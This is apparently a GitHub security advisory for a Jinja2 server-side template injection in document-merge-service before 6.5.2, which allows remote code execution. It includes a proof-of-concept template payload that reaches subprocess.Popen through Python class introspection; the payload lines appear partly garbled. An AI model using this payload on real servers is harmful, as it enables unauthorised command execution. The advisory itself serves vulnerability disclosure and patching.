GHSA-v5gf-r78h-55q6 document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection

• PyPI document-merge-service: < 6.5.2 → fixed in 6.5.2

Impact _What kind of vulnerability is it? Who is impacted?_ A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container. Patches _Has the problem been patched? What versions should users upgrade to?_ It has been patched in v6.5.2 References _Are there any links users can visit to find out more?_ • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()202.communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()202.communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()202.communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.